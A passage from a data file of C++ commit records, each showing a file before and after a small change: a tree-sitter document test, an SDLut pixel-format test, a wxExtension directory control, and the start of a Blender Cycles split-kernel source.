\"rx-base.hpp\"\n#include \"rx-scheduler.hpp\"\n#include \"rx-windows.hpp\"\n#include \"rx-operators.hpp\"\n#include \"rx-winrt.hpp\"\n\n#pragma pop_macro(\"min\")\n#pragma pop_macro(\"max\")\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"runtime\/debugger.h\"\n#include \"runtime\/helpers\/spy_debugger.h\"\n#include \"runtime\/runtime_spec_helper.h\"\n\nextern \"C\" const TSLanguage * ts_language_json();\n\nSTART_TEST\n\ndescribe(\"Document\", [&]() {\n TSDocument *doc;\n\n before_each([&]() {\n doc = ts_document_make();\n });\n\n after_each([&]() {\n ts_document_free(doc);\n });\n\n describe(\"set_input(TSInput)\", [&]() {\n describe(\"when the language is set\", [&]() {\n before_each([&]() {\n ts_document_set_language(doc, ts_language_json());\n });\n\n it(\"parses the document\", [&]() {\n ts_document_set_input_string(doc, \"{ \\\"key\\\": [1, 2] }\");\n\n AssertThat(ts_node_string(ts_document_root_node(doc)), Equals(\n \"(DOCUMENT (object (string) (array (number) (number))))\"));\n });\n });\n\n describe(\"when the language is not set\", [&]() {\n it(\"does not try to parse the document\", [&]() {\n ts_document_set_input_string(doc, \"{ \\\"key\\\": [1, 2] }\");\n\n AssertThat(ts_document_root_node(doc), Equals<TSNode *>(nullptr));\n });\n });\n });\n\n describe(\"set_language(TSLanguage)\", [&]() {\n describe(\"when the input is not set\", [&]() {\n it(\"does not try to parse the document\", [&]() {\n ts_document_set_language(doc, ts_language_json());\n\n AssertThat(ts_document_root_node(doc), Equals<TSNode *>(nullptr));\n });\n });\n\n describe(\"when the input is set\", [&]() {\n before_each([&]() {\n ts_document_set_input_string(doc, \"{ \\\"key\\\": [1, 2] }\");\n });\n\n it(\"parses the document\", [&]() {\n ts_document_set_language(doc, ts_language_json());\n\n AssertThat(ts_node_string(ts_document_root_node(doc)), Equals(\n \"(DOCUMENT (object (string) (array (number) (number))))\"));\n });\n });\n });\n\n describe(\"set_debugger(TSDebugger)\", [&]() {\n SpyDebugger *debugger;\n\n before_each([&]() {\n debugger = new SpyDebugger();\n ts_document_set_language(doc, ts_language_json());\n ts_document_set_debugger(doc, debugger->debugger());\n });\n\n it(\"calls the debugger with a message for each lex action\", [&]() {\n ts_document_set_input_string(doc, \"[1, 2]\");\n\n AssertThat(debugger->messages, Contains(\"lookahead char:'1'\"));\n AssertThat(debugger->messages, Contains(\"advance state:1\"));\n AssertThat(debugger->messages, Contains(\"accept_token sym:number\"));\n });\n\n it(\"calls the debugger with a message for each parse action\", [&]() {\n ts_document_set_input_string(doc, \"[1, 2]\");\n\n AssertThat(debugger->messages, Contains(\"shift state:1\"));\n AssertThat(debugger->messages, Contains(\"reduce sym:value count:1\"));\n AssertThat(debugger->messages, Contains(\"accept\"));\n });\n\n it(\"allows the debugger to be retrieved later\", [&]() {\n AssertThat(ts_document_get_debugger(doc).data, Equals(debugger));\n });\n\n describe(\"disabling debugging\", [&]() {\n before_each([&]() {\n ts_document_set_debugger(doc, {});\n });\n\n it(\"does not call the debugger any more\", [&]() {\n ts_document_set_input_string(doc, \"[1, 2]\");\n AssertThat(debugger->messages, IsEmpty());\n });\n\n it(\"releases the old debugger\", [&]() {\n AssertThat(debugger->release_call_count, Equals<size_t>(1));\n });\n });\n });\n});\n\nEND_TEST\n<commit_msg>Fix build warnings in document spec<commit_after>#include \"runtime\/debugger.h\"\n#include \"runtime\/helpers\/spy_debugger.h\"\n#include \"runtime\/runtime_spec_helper.h\"\n\nextern \"C\" const TSLanguage * ts_language_json();\n\nSTART_TEST\n\ndescribe(\"Document\", [&]() {\n TSDocument *doc;\n\n before_each([&]() {\n doc = ts_document_make();\n });\n\n after_each([&]() {\n ts_document_free(doc);\n });\n\n describe(\"set_input(TSInput)\", [&]() {\n describe(\"when the language is set\", [&]() {\n before_each([&]() {\n ts_document_set_language(doc, ts_language_json());\n });\n\n it(\"parses the document\", [&]() {\n ts_document_set_input_string(doc, \"{ \\\"key\\\": [1, 2] }\");\n\n AssertThat(ts_node_string(ts_document_root_node(doc)), Equals(\n \"(DOCUMENT (object (string) (array (number) (number))))\"));\n });\n });\n\n describe(\"when the language is not set\", [&]() {\n it(\"does not try to parse the document\", [&]() {\n ts_document_set_input_string(doc, \"{ \\\"key\\\": [1, 2] }\");\n\n AssertThat(ts_document_root_node(doc), Equals<TSNode *>(nullptr));\n });\n });\n });\n\n describe(\"set_language(TSLanguage)\", [&]() {\n describe(\"when the input is not set\", [&]() {\n it(\"does not try to parse the document\", [&]() {\n ts_document_set_language(doc, ts_language_json());\n\n AssertThat(ts_document_root_node(doc), Equals<TSNode *>(nullptr));\n });\n });\n\n describe(\"when the input is set\", [&]() {\n before_each([&]() {\n ts_document_set_input_string(doc, \"{ \\\"key\\\": [1, 2] }\");\n });\n\n it(\"parses the document\", [&]() {\n ts_document_set_language(doc, ts_language_json());\n\n AssertThat(ts_node_string(ts_document_root_node(doc)), Equals(\n \"(DOCUMENT (object (string) (array (number) (number))))\"));\n });\n });\n });\n\n describe(\"set_debugger(TSDebugger)\", [&]() {\n SpyDebugger *debugger;\n\n before_each([&]() {\n debugger = new SpyDebugger();\n ts_document_set_language(doc, ts_language_json());\n ts_document_set_debugger(doc, debugger->debugger());\n });\n\n it(\"calls the debugger with a message for each lex action\", [&]() {\n ts_document_set_input_string(doc, \"[1, 2]\");\n\n AssertThat(debugger->messages, Contains(\"lookahead char:'1'\"));\n AssertThat(debugger->messages, Contains(\"advance state:1\"));\n AssertThat(debugger->messages, Contains(\"accept_token sym:number\"));\n });\n\n it(\"calls the debugger with a message for each parse action\", [&]() {\n ts_document_set_input_string(doc, \"[1, 2]\");\n\n AssertThat(debugger->messages, Contains(\"shift state:1\"));\n AssertThat(debugger->messages, Contains(\"reduce sym:value count:1\"));\n AssertThat(debugger->messages, Contains(\"accept\"));\n });\n\n it(\"allows the debugger to be retrieved later\", [&]() {\n AssertThat(ts_document_get_debugger(doc).data, Equals(debugger));\n });\n\n describe(\"disabling debugging\", [&]() {\n before_each([&]() {\n ts_document_set_debugger(doc, ts_debugger_null());\n });\n\n it(\"does not call the debugger any more\", [&]() {\n ts_document_set_input_string(doc, \"[1, 2]\");\n AssertThat(debugger->messages, IsEmpty());\n });\n\n it(\"releases the old debugger\", [&]() {\n AssertThat(debugger->release_call_count, Equals<size_t>(1));\n });\n });\n });\n});\n\nEND_TEST\n<|endoftext|>"} {"text":"<commit_before>#include \"TestCommon.hh\"\n\nusing namespace SDLut::video;\n\nclass AssertEngine;\n\nLogger testlog(\"TestPixelFormat\");\n\nColor bgc(128,128,128);\nColor red(255,0,0);\nColor green(0,255,0);\nColor blue(0,0,255);\nColor alpha(255,255,255,128);\n\n\nclass MyEngine : public TestEngine\n{\n Image * imgred,*imggreen,*imgblue,*imgalpha;\n\npublic:\n\n\tMyEngine(Logger & log, AssertEngine & ae) : TestEngine(log,ae), imgred(0), imggreen(0),imgblue(0),imgalpha(0)\n\t{\n\t App::getInstance().getDisplay().getScreenBuffer().setBGColor(bgc);\n\t}\n\n virtual ~MyEngine()\n {\n delete imgred; delete imggreen; delete imgblue; delete imgalpha;\n }\n\n\tvirtual bool init(int width, int height)\n\t{\n\t return resize(width,height);\n\t}\n\n\tvirtual bool resize(int width, int height)\n\t{\n\t\tdelete imgred; delete imggreen; delete imgblue; delete imgalpha;\n\t\timgred = new Image(width\/4,height,32);\n\t\timgred->fill(red);\n\t\timggreen = new Image(width\/4,height,32);\n\t\timggreen->fill(green);\n\t\timgblue = new Image(width\/4,height,32);\n\t\timgblue->fill(blue);\n\t\timgalpha = new Image(width-imgred->getWidth()-imggreen->getWidth()-imgblue->getWidth(),height,32, true);\n\t\timgalpha->fill(alpha);\n\n\t\ttestlog << \"Red Pixel : \" << std::hex << imgred->getpixel(0,0) << std::endl;\n\t\ttestlog << \"Green Pixel : \" << std::hex << imggreen->getpixel(0,0)<< std::endl;\n\t\ttestlog << \"Blue Pixel : \" << std::hex << imgblue->getpixel(0,0)<< std::endl;\n\t\ttestlog << \"Alpha Pixel : \" << std::hex << imgalpha->getpixel(0,0)<< std::endl;\n\n\t\treturn true;\n\t}\n\n\tvirtual bool render(ScreenBuffer & screen) const\n {\n Rect red_dst(0,0,imgred->getWidth(),imgred->getHeight());\n\t\tscreen.blit(*imgred,red_dst);\n\t\tRect green_dst(0 + imgred->getWidth(),0,imggreen->getWidth(),imggreen->getHeight());\n\t\tscreen.blit(*imggreen,green_dst);\n\t\tRect blue_dst(0 + imgred->getWidth() + imggreen->getWidth(), 0,imgblue->getWidth(),imgblue->getHeight());\n\t\tscreen.blit(*imgblue,blue_dst);\n\t\tRect alpha_dst(0 + imgred->getWidth() + imggreen->getWidth() + imgblue->getWidth(), 0, imgalpha->getWidth(),imgalpha->getHeight());\n\t\tscreen.blit(*imgalpha,alpha_dst);\n\n\t\treturn true;\n }\n\n};\n\n\nclass Test : public AssertEngine\n{\n\n Rect posred,posgreen,posblue,posalpha;\n\npublic:\n \/\/we only need one render to see which color are there\n Test( Logger & log) : AssertEngine(log,1)\n\t{\n\t}\n\n virtual ~Test()\n {\n }\n\n\tvirtual bool assertinit(int width, int height)\n\t{\n\n\t return assertresize(width,height);\n\t}\n\n\tvirtual bool assertresize(int width, int height)\n\t{\n\n\n\t\tposred = Rect(0,0,width\/4,height);\n\t\tposgreen = Rect(0 + posred.getw(),0,width\/4,height);\n posblue = Rect(0 + posred.getw() + posgreen.getw(), 0,width\/4,height);\n\t\tposalpha = Rect(0 + posred.getw() + posgreen.getw() + posblue.getw(), 0,width-posred.getw()-posgreen.getw()-posblue.getw(),height);\n\n\n\t\treturn true;\n\t}\n\n\tvirtual bool assertrender(ScreenBuffer & screen) const\n {\n bool res = true;\n res = res && blend(red,bgc).isSimilarTo(screen.getpixel(posred.getx(),posred.gety()));\n if (!res)\n {\n m_log << nl << \"Red = \" << blend(red,bgc);\n m_log << nl << \"Pixel = \" << screen.getpixel(posred.getx(),posred.gety());\n setError(-1,\"Red Pixel is wrong\");\n }\n\t\tres = res && blend(green,bgc).isSimilarTo(screen.getpixel(posgreen.getx(),posgreen.gety()));\n\t\tif (!res)\n {\n m_log << nl << \"Green = \" << blend(green,bgc);\n m_log << nl << \"Pixel = \" << screen.getpixel(posgreen.getx(),posgreen.gety());\n setError(-1,\"Green Pixel is wrong\");\n }\n\t\tres = res && blend(blue,bgc).isSimilarTo( screen.getpixel(posblue.getx(),posblue.gety()));\n\t\tif (!res)\n {\n m_log << nl << \"Blue = \" << blend(blue,bgc);\n m_log << nl << \"Pixel = \" << screen.getpixel(posblue.getx(),posblue.gety());\n setError(-1,\"Blue Pixel is wrong\");\n }\n\t\tres = res && blend(alpha,bgc).isSimilarTo( screen.getpixel(posalpha.getx(),posalpha.gety()));\n\t\tif (!res)\n {\n m_log << nl << \"Alpha = \" << blend(alpha,bgc);\n m_log << nl << \"Pixel = \" << screen.getpixel(posalpha.getx(),posalpha.gety());\n setError(-1,\"Alpha Pixel is wrong\");\n }\n\n\t\treturn res;\n }\n\n};\n\nint main(int argc, char** argv)\n{\n ArgParser args(argc,argv);\n\n \/\/Starting with usual SDL window\n App::getInstance().initVideo(false,true,false);\n\tApp::getInstance().setName (\"SDLut::video test PixelFormat\");\n\n \/\/Setting Display size and BPP\n App::getInstance().getDisplay().setDisplay(300,240); \/\/ using autodetected bpp\n\n App::getInstance().getDisplay().getScreenBuffer().setOpenGL(args.isOGL());\n\n Test teng(testlog);\n\tMyEngine engine(testlog,teng);\n\n int exitstatus = -1;\n if(App::getInstance().getDisplay().show())\n {\n exitstatus = App::getInstance().getDisplay().mainLoop();\n }\n\n return exitstatus;\n}\n\n\n<commit_msg> quick fix to match new test master classes<commit_after>#include \"TestCommon.hh\"\n\nusing namespace SDLut::video;\n\nclass AssertEngine;\n\nLogger testlog(\"TestPixelFormat\");\n\nColor bgc(128,128,128);\nColor red(255,0,0);\nColor green(0,255,0);\nColor blue(0,0,255);\nColor alpha(255,255,255,128);\n\n\nclass MyEngine : public TestEngine\n{\n Image * imgred,*imggreen,*imgblue,*imgalpha;\n\npublic:\n\n\tMyEngine(Logger & log, AssertEngine & ae) : TestEngine(log,ae), imgred(0), imggreen(0),imgblue(0),imgalpha(0)\n\t{\n\t App::getInstance().getDisplay().getScreenBuffer().setBGColor(bgc);\n\t}\n\n virtual ~MyEngine()\n {\n delete imgred; delete imggreen; delete imgblue; delete imgalpha;\n }\n\n\tvirtual bool init(int width, int height)\n\t{\n\t return resize(width,height);\n\t}\n\n\tvirtual bool resize(int width, int height)\n\t{\n\t\tdelete imgred; delete imggreen; delete imgblue; delete imgalpha;\n\t\timgred = new Image(width\/4,height,32);\n\t\timgred->fill(red);\n\t\timggreen = new Image(width\/4,height,32);\n\t\timggreen->fill(green);\n\t\timgblue = new Image(width\/4,height,32);\n\t\timgblue->fill(blue);\n\t\timgalpha = new Image(width-imgred->getWidth()-imggreen->getWidth()-imgblue->getWidth(),height,32, true);\n\t\timgalpha->fill(alpha);\n\n\t\ttestlog << \"Red Pixel : \" << std::hex << imgred->getpixel(0,0) << std::endl;\n\t\ttestlog << \"Green Pixel : \" << std::hex << imggreen->getpixel(0,0)<< std::endl;\n\t\ttestlog << \"Blue Pixel : \" << std::hex << imgblue->getpixel(0,0)<< std::endl;\n\t\ttestlog << \"Alpha Pixel : \" << std::hex << imgalpha->getpixel(0,0)<< std::endl;\n\n\t\treturn true;\n\t}\n\n\tvirtual bool render(ScreenBuffer & screen) const\n {\n Rect red_dst(0,0,imgred->getWidth(),imgred->getHeight());\n\t\tscreen.blit(*imgred,red_dst);\n\t\tRect green_dst(0 + imgred->getWidth(),0,imggreen->getWidth(),imggreen->getHeight());\n\t\tscreen.blit(*imggreen,green_dst);\n\t\tRect blue_dst(0 + imgred->getWidth() + imggreen->getWidth(), 0,imgblue->getWidth(),imgblue->getHeight());\n\t\tscreen.blit(*imgblue,blue_dst);\n\t\tRect alpha_dst(0 + imgred->getWidth() + imggreen->getWidth() + imgblue->getWidth(), 0, imgalpha->getWidth(),imgalpha->getHeight());\n\t\tscreen.blit(*imgalpha,alpha_dst);\n\n\t\treturn true;\n }\n\n};\n\n\nclass Test : public AssertEngine\n{\n\n Rect posred,posgreen,posblue,posalpha;\n\npublic:\n \/\/we only need one render to see which color are there\n Test( Logger & log, const ArgParser & args) : AssertEngine(log,args)\n\t{\n\t}\n\n virtual ~Test()\n {\n }\n\n\tvirtual bool assertinit(int width, int height)\n\t{\n\n\t return assertresize(width,height);\n\t}\n\n\tvirtual bool assertresize(int width, int height)\n\t{\n\n\n\t\tposred = Rect(0,0,width\/4,height);\n\t\tposgreen = Rect(0 + posred.getw(),0,width\/4,height);\n posblue = Rect(0 + posred.getw() + posgreen.getw(), 0,width\/4,height);\n\t\tposalpha = Rect(0 + posred.getw() + posgreen.getw() + posblue.getw(), 0,width-posred.getw()-posgreen.getw()-posblue.getw(),height);\n\n\n\t\treturn true;\n\t}\n\n\tvirtual bool assertrender(ScreenBuffer & screen) const\n {\n bool res = true;\n res = res && blend(red,bgc).isSimilarTo(screen.getpixel(posred.getx(),posred.gety()));\n if (!res)\n {\n m_log << nl << \"Red = \" << blend(red,bgc);\n m_log << nl << \"Pixel = \" << screen.getpixel(posred.getx(),posred.gety());\n setError(-1,\"Red Pixel is wrong\");\n }\n\t\tres = res && blend(green,bgc).isSimilarTo(screen.getpixel(posgreen.getx(),posgreen.gety()));\n\t\tif (!res)\n {\n m_log << nl << \"Green = \" << blend(green,bgc);\n m_log << nl << \"Pixel = \" << screen.getpixel(posgreen.getx(),posgreen.gety());\n setError(-1,\"Green Pixel is wrong\");\n }\n\t\tres = res && blend(blue,bgc).isSimilarTo( screen.getpixel(posblue.getx(),posblue.gety()));\n\t\tif (!res)\n {\n m_log << nl << \"Blue = \" << blend(blue,bgc);\n m_log << nl << \"Pixel = \" << screen.getpixel(posblue.getx(),posblue.gety());\n setError(-1,\"Blue Pixel is wrong\");\n }\n\t\tres = res && blend(alpha,bgc).isSimilarTo( screen.getpixel(posalpha.getx(),posalpha.gety()));\n\t\tif (!res)\n {\n m_log << nl << \"Alpha = \" << blend(alpha,bgc);\n m_log << nl << \"Pixel = \" << screen.getpixel(posalpha.getx(),posalpha.gety());\n setError(-1,\"Alpha Pixel is wrong\");\n }\n\n\t\treturn res;\n }\n\n};\n\nint main(int argc, char** argv)\n{\n ArgParser args(argc,argv);\n\n \/\/Starting with usual SDL window\n App::getInstance().initVideo(false,true,false);\n\tApp::getInstance().setName (\"SDLut::video test PixelFormat\");\n\n \/\/Setting Display size and BPP\n App::getInstance().getDisplay().setDisplay(300,240); \/\/ using autodetected bpp\n\n App::getInstance().getDisplay().getScreenBuffer().setOpenGL(args.isOGL());\n\n Test teng(testlog,args);\n\tMyEngine engine(testlog,teng);\n\n int exitstatus = -1;\n if(App::getInstance().getDisplay().show())\n {\n exitstatus = App::getInstance().getDisplay().mainLoop();\n }\n\n return exitstatus;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Name: dirctrl.cpp\n\/\/ Purpose: Implementation of class wxExGenericDirCtrl\n\/\/ Author: Anton van Wezenbeek\n\/\/ Copyright: (c) 2013 Anton van Wezenbeek\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <wx\/stockitem.h> \/\/ for wxGetStockLabel\n#include <wx\/textfile.h>\n#include <wx\/extension\/filename.h>\n#include <wx\/extension\/menu.h>\n#include <wx\/extension\/util.h>\n#include <wx\/extension\/vcs.h>\n#include <wx\/extension\/report\/dirctrl.h>\n#include <wx\/extension\/report\/defs.h>\n#include <wx\/extension\/report\/frame.h>\n\n#if wxUSE_DIRDLG\n\nBEGIN_EVENT_TABLE(wxExGenericDirCtrl, wxGenericDirCtrl)\n EVT_MENU_RANGE(\n ID_EDIT_VCS_LOWEST, \n ID_EDIT_VCS_HIGHEST, \n wxExGenericDirCtrl::OnCommand)\n EVT_MENU_RANGE(ID_TREE_OPEN, ID_TREE_RUN_MAKE, wxExGenericDirCtrl::OnCommand)\n EVT_MENU_RANGE(ID_TOOL_LOWEST, ID_TOOL_HIGHEST, wxExGenericDirCtrl::OnCommand)\n EVT_TREE_ITEM_ACTIVATED(wxID_TREECTRL, wxExGenericDirCtrl::OnTree)\n EVT_TREE_ITEM_MENU(wxID_TREECTRL, wxExGenericDirCtrl::OnTree)\n EVT_TREE_SEL_CHANGED(wxID_TREECTRL, wxExGenericDirCtrl::OnTree)\nEND_EVENT_TABLE()\n\nwxExGenericDirCtrl::wxExGenericDirCtrl(\n wxWindow *parent, \n wxExFrameWithHistory* frame,\n const wxWindowID id, \n const wxPoint &pos, \n const wxSize &size, \n long style, \n const wxString &filter, \n int defaultFilter, \n const wxString &name)\n : wxGenericDirCtrl(\n parent,\n id,\n wxDirDialogDefaultFolderStr,\n pos,\n size,\n style,\n filter,\n defaultFilter,\n name)\n , m_Frame(frame)\n{\n}\n\nvoid wxExGenericDirCtrl::ExpandAndSelectPath(const wxString& path)\n{\n ExpandPath(path);\n SelectPath(path);\n}\n\nvoid wxExGenericDirCtrl::OnCommand(wxCommandEvent& event)\n{\n if (event.GetId() > ID_EDIT_VCS_LOWEST && \n event.GetId() < ID_EDIT_VCS_HIGHEST)\n {\n wxExVCSExecute(m_Frame, \n event.GetId() - ID_EDIT_VCS_LOWEST - 1, wxExToVectorString(*this).Get());\n }\n else if (event.GetId() > ID_TOOL_LOWEST && event.GetId() < ID_TOOL_HIGHEST)\n {\n m_Frame->FindInFiles(wxExToVectorString(*this).Get(), event.GetId());\n }\n else switch (event.GetId())\n {\n case ID_TREE_COPY: \n {\n const std::vector<wxString> files(wxExToVectorString(*this).Get());\n wxBusyCursor wait;\n wxString clipboard;\n for (const auto& it : files)\n {\n clipboard += it + wxTextFile::GetEOL();\n }\n wxExClipboardAdd(clipboard);\n }\n break;\n \n case ID_TREE_OPEN: \n wxExOpenFiles(m_Frame, \n wxExToVectorString(*this).Get(), 0, wxDIR_FILES); \/\/ only files in this dir\n break;\n \n case ID_TREE_RUN_MAKE: \n {\n const std::vector<wxString> files(wxExToVectorString(*this).Get());\n wxExMake(files[0]);\n }\n break;\n \n default: wxFAIL;\n }\n}\n\nvoid wxExGenericDirCtrl::OnTree(wxTreeEvent& event)\n{\n const std::vector< wxString > files(wxExToVectorString(*this).Get());\n\n if (files.empty()) \n {\n event.Skip();\n return;\n }\n\n if (event.GetEventType() == wxEVT_COMMAND_TREE_ITEM_MENU)\n {\n const wxExFileName filename(files[0]);\n \n wxExMenu menu; \/\/ uses AppendVCS\n \n if (filename.FileExists())\n {\n menu.Append(ID_TREE_OPEN, _(\"&Open\"));\n menu.AppendSeparator();\n }\n \n menu.Append(ID_TREE_COPY,\n wxGetStockLabel(wxID_COPY), wxEmptyString, wxART_COPY);\n\n if (wxExVCS::DirExists(filename))\n {\n menu.AppendSeparator();\n menu.AppendVCS(filename);\n }\n\n if (filename.GetLexer().GetScintillaLexer() == \"makefile\")\n {\n menu.AppendSeparator();\n menu.Append(ID_TREE_RUN_MAKE, \"&Make\");\n }\n\n menu.AppendSeparator();\n menu.Append(ID_TOOL_REPORT_FIND, \n wxExEllipsed(m_Frame->GetFindInCaption(ID_TOOL_REPORT_FIND)));\n\n menu.Append(ID_TOOL_REPORT_REPLACE, \n wxExEllipsed(m_Frame->GetFindInCaption(ID_TOOL_REPORT_REPLACE)));\n \n PopupMenu(&menu);\n }\n else if (event.GetEventType() == wxEVT_COMMAND_TREE_ITEM_ACTIVATED)\n {\n const wxFileName fn(files[0]);\n \n if (!fn.FileExists() && fn.DirExists())\n {\n if (!GetTreeCtrl()->IsExpanded(event.GetItem()))\n {\n ExpandAndSelectPath(files[0]);\n }\n else\n {\n CollapsePath(files[0]);\n }\n }\n else\n {\n wxExOpenFiles(m_Frame, files, 0, wxDIR_FILES); \/\/ only files in this dir\n }\n }\n else if (event.GetEventType() == wxEVT_COMMAND_TREE_SEL_CHANGED)\n {\n wxExLogStatus(wxFileName(files[0]), STAT_FULLPATH);\n }\n else\n {\n wxFAIL;\n }\n}\n#endif\n<commit_msg>corrected filter<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Name: dirctrl.cpp\n\/\/ Purpose: Implementation of class wxExGenericDirCtrl\n\/\/ Author: Anton van Wezenbeek\n\/\/ Copyright: (c) 2014 Anton van Wezenbeek\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <wx\/stockitem.h> \/\/ for wxGetStockLabel\n#include <wx\/textfile.h>\n#include <wx\/extension\/filename.h>\n#include <wx\/extension\/menu.h>\n#include <wx\/extension\/util.h>\n#include <wx\/extension\/vcs.h>\n#include <wx\/extension\/report\/dirctrl.h>\n#include <wx\/extension\/report\/defs.h>\n#include <wx\/extension\/report\/frame.h>\n\n#if wxUSE_DIRDLG\n\nBEGIN_EVENT_TABLE(wxExGenericDirCtrl, wxGenericDirCtrl)\n EVT_MENU_RANGE(\n ID_EDIT_VCS_LOWEST, \n ID_EDIT_VCS_HIGHEST, \n wxExGenericDirCtrl::OnCommand)\n EVT_MENU_RANGE(ID_TREE_OPEN, ID_TREE_RUN_MAKE, wxExGenericDirCtrl::OnCommand)\n EVT_MENU_RANGE(ID_TOOL_LOWEST, ID_TOOL_HIGHEST, wxExGenericDirCtrl::OnCommand)\n EVT_TREE_ITEM_ACTIVATED(wxID_TREECTRL, wxExGenericDirCtrl::OnTree)\n EVT_TREE_ITEM_MENU(wxID_TREECTRL, wxExGenericDirCtrl::OnTree)\n EVT_TREE_SEL_CHANGED(wxID_TREECTRL, wxExGenericDirCtrl::OnTree)\nEND_EVENT_TABLE()\n\nwxExGenericDirCtrl::wxExGenericDirCtrl(\n wxWindow *parent, \n wxExFrameWithHistory* frame,\n const wxWindowID id, \n const wxPoint &pos, \n const wxSize &size, \n long style, \n const wxString &filter, \n int defaultFilter, \n const wxString &name)\n : wxGenericDirCtrl(\n parent,\n id,\n wxDirDialogDefaultFolderStr,\n pos,\n size,\n style,\n (filter.empty() ? \"*\": filter),\n defaultFilter,\n name)\n , m_Frame(frame)\n{\n}\n\nvoid wxExGenericDirCtrl::ExpandAndSelectPath(const wxString& path)\n{\n ExpandPath(path);\n SelectPath(path);\n}\n\nvoid wxExGenericDirCtrl::OnCommand(wxCommandEvent& event)\n{\n if (event.GetId() > ID_EDIT_VCS_LOWEST && \n event.GetId() < ID_EDIT_VCS_HIGHEST)\n {\n wxExVCSExecute(m_Frame, \n event.GetId() - ID_EDIT_VCS_LOWEST - 1, wxExToVectorString(*this).Get());\n }\n else if (event.GetId() > ID_TOOL_LOWEST && event.GetId() < ID_TOOL_HIGHEST)\n {\n m_Frame->FindInFiles(wxExToVectorString(*this).Get(), event.GetId());\n }\n else switch (event.GetId())\n {\n case ID_TREE_COPY: \n {\n const std::vector<wxString> files(wxExToVectorString(*this).Get());\n wxBusyCursor wait;\n wxString clipboard;\n for (const auto& it : files)\n {\n clipboard += it + wxTextFile::GetEOL();\n }\n wxExClipboardAdd(clipboard);\n }\n break;\n \n case ID_TREE_OPEN: \n wxExOpenFiles(m_Frame, \n wxExToVectorString(*this).Get(), 0, wxDIR_FILES); \/\/ only files in this dir\n break;\n \n case ID_TREE_RUN_MAKE: \n {\n const std::vector<wxString> files(wxExToVectorString(*this).Get());\n wxExMake(files[0]);\n }\n break;\n \n default: wxFAIL;\n }\n}\n\nvoid wxExGenericDirCtrl::OnTree(wxTreeEvent& event)\n{\n const std::vector< wxString > files(wxExToVectorString(*this).Get());\n\n if (files.empty()) \n {\n event.Skip();\n return;\n }\n\n if (event.GetEventType() == wxEVT_COMMAND_TREE_ITEM_MENU)\n {\n const wxExFileName filename(files[0]);\n \n wxExMenu menu; \/\/ uses AppendVCS\n \n if (filename.FileExists())\n {\n menu.Append(ID_TREE_OPEN, _(\"&Open\"));\n menu.AppendSeparator();\n }\n \n menu.Append(ID_TREE_COPY,\n wxGetStockLabel(wxID_COPY), wxEmptyString, wxART_COPY);\n\n if (wxExVCS::DirExists(filename))\n {\n menu.AppendSeparator();\n menu.AppendVCS(filename);\n }\n\n if (filename.GetLexer().GetScintillaLexer() == \"makefile\")\n {\n menu.AppendSeparator();\n menu.Append(ID_TREE_RUN_MAKE, \"&Make\");\n }\n\n menu.AppendSeparator();\n menu.Append(ID_TOOL_REPORT_FIND, \n wxExEllipsed(m_Frame->GetFindInCaption(ID_TOOL_REPORT_FIND)));\n\n menu.Append(ID_TOOL_REPORT_REPLACE, \n wxExEllipsed(m_Frame->GetFindInCaption(ID_TOOL_REPORT_REPLACE)));\n \n PopupMenu(&menu);\n }\n else if (event.GetEventType() == wxEVT_COMMAND_TREE_ITEM_ACTIVATED)\n {\n const wxFileName fn(files[0]);\n \n if (!fn.FileExists() && fn.DirExists())\n {\n if (!GetTreeCtrl()->IsExpanded(event.GetItem()))\n {\n ExpandAndSelectPath(files[0]);\n }\n else\n {\n CollapsePath(files[0]);\n }\n }\n else\n {\n wxExOpenFiles(m_Frame, files, 0, wxDIR_FILES); \/\/ only files in this dir\n }\n }\n else if (event.GetEventType() == wxEVT_COMMAND_TREE_SEL_CHANGED)\n {\n wxExLogStatus(wxFileName(files[0]), STAT_FULLPATH);\n }\n else\n {\n wxFAIL;\n }\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2011-2016 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"device_split_kernel.h\"\n\n#include \"kernel_types.h\"\n#include \"kernel_split_data.h\"\n\n#include \"util_time.h\"\n\nCCL_NAMESPACE_BEGIN\n\nstatic const double alpha = 0.1; \/* alpha for rolling average *\/\n\nDeviceSplitKernel::DeviceSplitKernel(Device *device) : device(device)\n{\n\tcurrent_max_closure = -1;\n\tfirst_tile = true;\n\n\tavg_time_per_sample = 0.0;\n}\n\nDeviceSplitKernel::~DeviceSplitKernel()\n{\n\tdevice->mem_free(split_data);\n\tdevice->mem_free(ray_state);\n\tdevice->mem_free(use_queues_flag);\n\tdevice->mem_free(queue_index);\n\tdevice->mem_free(work_pool_wgs);\n\n\tdelete kernel_path_init;\n\tdelete kernel_scene_intersect;\n\tdelete kernel_lamp_emission;\n\tdelete 